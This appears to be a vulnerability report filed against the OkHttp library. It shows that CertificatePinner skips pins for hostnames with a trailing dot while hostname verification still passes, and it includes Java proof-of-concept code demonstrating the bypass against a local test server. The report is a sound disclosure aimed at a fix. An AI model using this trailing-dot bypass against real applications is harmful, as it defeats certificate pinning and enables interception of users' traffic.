CertificatePinner isn't pinning the hostname properly

[MegaManSec]

Hi,

I've come across a few bugs, probably with some security effect. Discovered with AI, although this message is written by a human.

The tl;dr is that CertificatePinner does not apply pins to a hostname written with a trailing dot while OkHostnameVerifier treats trailing dot and dotless spellings of that same hostname as the same name. So an application that pins example.com has no pinning at all on a request to example.com. (notice the trailing dot), and that connection still passes hostname verification against an ordinary CA-issued
certificate.

The non-wildcard branch for matchesHostname in

okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/CertificatePinner.kt

Line 312 in b830f03

hostname == pattern

is a simple string comparison, while the hostname itself comes from

okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/ConnectPlan.kt

Lines 404 to 407 in b830f03

	// Check that the certificate pinner is satisfied by the certificates presented.
	certificatePinner.check(address.url.host) {
	handshake.peerCertificates.map { it as X509Certificate }
	}

which uses address.url.host which keeps the trailing dot (explicitly, even:

okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/-HostnamesCommon.kt

Lines 40 to 41 in b830f03

	* Returns true if the length is not valid for DNS (empty or greater than 253 characters), or if any
	* label is longer than 63 characters. Trailing dots are okay.

). Also OkHostnameVerifier() does opposite thing, where it appends . to both the hostname and the pattern before compareing, so that's "safe" (

okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/tls/OkHostnameVerifier.kt

Lines 129 to 140 in b830f03

	// Normalize hostname and pattern by turning them into absolute domain names if they are not
	// yet absolute. This is needed because server certificates do not normally contain absolute
	// names or patterns, but they should be treated as absolute. At the same time, any hostname
	// presented to this method should also be treated as absolute for the purposes of matching
	// to the server certificate.
	// www.android.com matches www.android.com
	// www.android.com matches www.android.com.
	// www.android.com. matches www.android.com.
	// www.android.com. matches www.android.com
	if (!hostname.endsWith(".")) {
	hostname += "."
	}

).

We can demonstrate here:

import java.security.cert.Certificate;
import java.util.List;
import okhttp3.CertificatePinner;

public class Poc33 {
  public static void main(String[] args) {
    CertificatePinner pinner = new CertificatePinner.Builder()
        .add("example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
        .build();

    for (String host : new String[] {"example.com", "example.com."}) {
      System.out.printf("findMatchingPins(%-14s) = %d pin(s)%n",
          "\"" + host + "\"", pinner.findMatchingPins(host).size());
    }

    for (String host : new String[] {"example.com", "example.com."}) {
      try {
        pinner.check(host, List.<Certificate>of());
        System.out.printf("check(%-14s) -> returned normally (pinning not applied)%n", "\"" + host + "\"");
      } catch (Exception e) {
        System.out.printf("check(%-14s) -> %s%n", "\"" + host + "\"", e.getClass().getSimpleName());
      }
    }
  }
}

which results in:

findMatchingPins("example.com" ) = 1 pin(s)
findMatchingPins("example.com.") = 0 pin(s)
check("example.com" ) -> SSLPeerUnverifiedException
check("example.com.") -> returned normally (pinning not applied)

It can also be demonstrated with a real handshake, where a server pressents an ordinary certificate for example.com. The client pins example.com to a deliberately wrong sha256 pin, keeps the default OkHostnameVerifier, and resolves the name to loopback:

import com.sun.net.httpserver.HttpsConfigurator;
import com.sun.net.httpserver.HttpsServer;
import java.io.FileInputStream;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.security.KeyStore;
import java.security.cert.X509Certificate;
import java.util.Collections;
import java.util.List;
import javax.net.ssl.KeyManagerFactory;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509TrustManager;
import okhttp3.CertificatePinner;
import okhttp3.Dns;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

public class E2E {

  static int port;

  static void startServer() throws Exception {
    KeyStore ks = KeyStore.getInstance("PKCS12");
    try (FileInputStream in = new FileInputStream("ks.p12")) {
      ks.load(in, "changeit".toCharArray());
    }
    KeyManagerFactory kmf = KeyManagerFactory.getInstance("SunX509");
    kmf.init(ks, "changeit".toCharArray());
    SSLContext ctx = SSLContext.getInstance("TLS");
    ctx.init(kmf.getKeyManagers(), null, null);

    HttpsServer server = HttpsServer.create(new InetSocketAddress("127.0.0.1", 0), 0);
    server.setHttpsConfigurator(new HttpsConfigurator(ctx));
    server.createContext("/", ex -> {
      byte[] b = "ok".getBytes();
      ex.sendResponseHeaders(200, b.length);
      try (OutputStream os = ex.getResponseBody()) {
        os.write(b);
      }
    });
    server.start();
    port = server.getAddress().getPort();
  }

  static OkHttpClient client(String pinnedPattern) throws Exception {
    KeyStore ks = KeyStore.getInstance("PKCS12");
    try (FileInputStream in = new FileInputStream("ks.p12")) {
      ks.load(in, "changeit".toCharArray());
    }
    TrustManagerFactory tmf = TrustManagerFactory.getInstance("PKIX");
    tmf.init(ks);
    X509TrustManager tm = (X509TrustManager) tmf.getTrustManagers()[0];
    SSLContext ctx = SSLContext.getInstance("TLS");
    ctx.init(null, new javax.net.ssl.TrustManager[] {tm}, null);

    // a pin that dosen't  match the server certificate
    String wrongPin = "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";

    return new OkHttpClient.Builder()
        .sslSocketFactory(ctx.getSocketFactory(), tm)
        .dns(new Dns() {
          @Override
          public List<InetAddress> lookup(String hostname) {
            return Collections.singletonList(InetAddress.getLoopbackAddress());
          }
        })
        .certificatePinner(
            new CertificatePinner.Builder().add(pinnedPattern, wrongPin).build())
        .build();
  }

  static void hit(String label, String host) {
    String url = "https://" + host + ":" + port + "/";
    System.out.printf("%-34s ", label);
    try (Response r = client("example.com").newCall(
        new Request.Builder().url(url).build()).execute()) {
      System.out.println("HTTP " + r.code() + "  <- pin NOT enforced");
    } catch (Exception e) {
      System.out.println(e.getClass().getSimpleName() + ": "
          + String.valueOf(e.getMessage()).split("\n")[0]);
    } catch (Throwable t) {
      System.out.println(t.getClass().getName() + ": " + t.getMessage());
    }
  }

  public static void main(String[] args) throws Exception {
    startServer();
    System.out.println("server cert: CN=example.com, SAN dNSName=example.com (no trailing dot)");
    System.out.println("client pins: example.com -> a deliberately wrong sha256 pin");
    System.out.println();
    hit("GET https://example.com/  ", "example.com");
    hit("GET https://example.com./ ", "example.com.");
    System.exit(0);
  }
}

Running:

server cert: CN=example.com, SAN dNSName=example.com (no trailing dot)
client pins: example.com -> a deliberately wrong sha256 pin

GET https://example.com/           SSLPeerUnverifiedException: Certificate pinning failure!
GET https://example.com./          HTTP 200  <- pin NOT enforced

AFAICT, a (in comparison to the) fix would be to normalize the trailing dot in the pin lookup the way OkHostnameVerifier already does.